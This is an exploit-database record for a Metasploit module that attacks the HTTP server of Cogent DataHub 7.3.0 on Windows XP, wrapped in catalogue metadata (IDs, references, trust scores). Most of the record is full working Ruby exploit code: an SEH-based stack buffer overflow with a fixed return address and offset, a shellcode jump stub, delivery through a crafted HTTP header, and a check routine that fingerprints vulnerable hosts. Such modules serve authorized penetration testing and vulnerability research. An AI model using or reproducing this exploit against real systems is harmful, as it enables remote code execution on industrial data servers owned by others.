ID
VAR-E-201308-0191
EDB ID
27704
TITLE
Cogent DataHub - HTTP Server Buffer Overflow (Metasploit) - Windows remote Exploit
Trust: 0.6
DESCRIPTION
Cogent DataHub - HTTP Server Buffer Overflow (Metasploit). CVE-95819 . remote exploit for Windows platform
Trust: 0.6
AFFECTED PRODUCTS
| vendor: | cogent | model: | datahub | scope: | - | version: | - | Trust: 1.0 |
| vendor: | cogent | model: | datahub http server | scope: | - | version: | - | Trust: 0.5 |
EXPLOIT
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Cogent DataHub HTTP Server Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow on Cogent DataHub 7.3.0. The
vulnerability exists in the HTTP server - while handling HTTP headers, a
strncpy() function is used in a dangerous way. This module has been tested
successfully on Cogent DataHub 7.3.0 (Demo) on Windows XP SP3.
},
'Author' =>
[
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
'juan vazquez', # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '95819'],
[ 'BID', '53455'],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-178' ],
[ 'URL', 'http://www.cogentdatahub.com/Info/130712_ZDI-CAN-1915_Response.html']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Privileged' => false,
'Payload' =>
{
'Space' => 33692,
'DisableNops' => true,
'BadChars' => "\x00\x0d\x0a\x3a"
},
'Platform' => 'win',
'Targets' =>
[
# Tested with the Cogent DataHub 7.3.0 Demo
# CogentDataHubV7.exe 7.3.0.70
['Windows XP SP3 English / Cogent DataHub 7.3.0',
{
'Ret' => 0x7ffc070e, # ppr # from NLS tables # Tested stable over Windows XP SP3 updates
'Offset' => 33692,
'CrashLength' => 4000 # In order to ensure crash before the stack cookie check
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 26 2013'
))
end
def check
res = send_request_cgi({
'uri' => "/datahub.asp",
'method' => 'GET',
})
if res and res.code == 200 and res.body =~ /<title>DataHub - Web Data Browser<\/title>/
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
def exploit
print_status("Trying target #{target.name}...")
off = target['Offset'] + 8 # 8 => length of the seh_record
bof = payload.encoded
bof << rand_text_alpha(target['Offset'] - payload.encoded.length)
bof << generate_seh_record(target.ret)
bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string
bof << rand_text(target['CrashLength'])
print_status("Sending request to #{rhost}:#{rport}")
send_request_cgi({
'uri' => "/",
'method' => 'GET',
'raw_headers' => "#{bof}: #{rand_text_alpha(20 + rand(20))}\r\n"
})
end
end
Trust: 1.0
EXPLOIT LANGUAGE
rb
Trust: 0.6
PRICE
free
Trust: 0.6
TYPE
HTTP Server Buffer Overflow (Metasploit)
Trust: 1.0
TAGS
| tag: | Metasploit Framework (MSF) | Trust: 1.0 |
| tag: | exploit | Trust: 0.5 |
| tag: | web | Trust: 0.5 |
| tag: | overflow | Trust: 0.5 |
CREDITS
Metasploit
Trust: 0.6
EXTERNAL IDS
| db: | ZDI | id: | ZDI-13-178 | Trust: 2.7 |
| db: | EXPLOIT-DB | id: | 27704 | Trust: 1.6 |
| db: | 0DAYTODAY | id: | 21127 | Trust: 0.6 |
| db: | EDBNET | id: | 20961 | Trust: 0.6 |
| db: | EDBNET | id: | 49562 | Trust: 0.6 |
| db: | PACKETSTORM | id: | 122857 | Trust: 0.5 |
REFERENCES
| url: | http://www.zerodayinitiative.com/advisories/zdi-13-178 | Trust: 1.0 |
| url: | https://0day.today/exploits/21127 | Trust: 0.6 |
| url: | https://www.exploit-db.com/exploits/27704/ | Trust: 0.6 |
SOURCES
| db: | PACKETSTORM | id: | 122857 |
| db: | EXPLOIT-DB | id: | 27704 |
| db: | EDBNET | id: | 20961 |
| db: | EDBNET | id: | 49562 |
LAST UPDATE DATE
2022-07-27T09:12:04.002000+00:00
SOURCES RELEASE DATE
| db: | PACKETSTORM | id: | 122857 | date: | 2013-08-18T15:43:05 |
| db: | EXPLOIT-DB | id: | 27704 | date: | 2013-08-19T00:00:00 |
| db: | EDBNET | id: | 20961 | date: | 2013-08-18T00:00:00 |
| db: | EDBNET | id: | 49562 | date: | 2013-08-19T00:00:00 |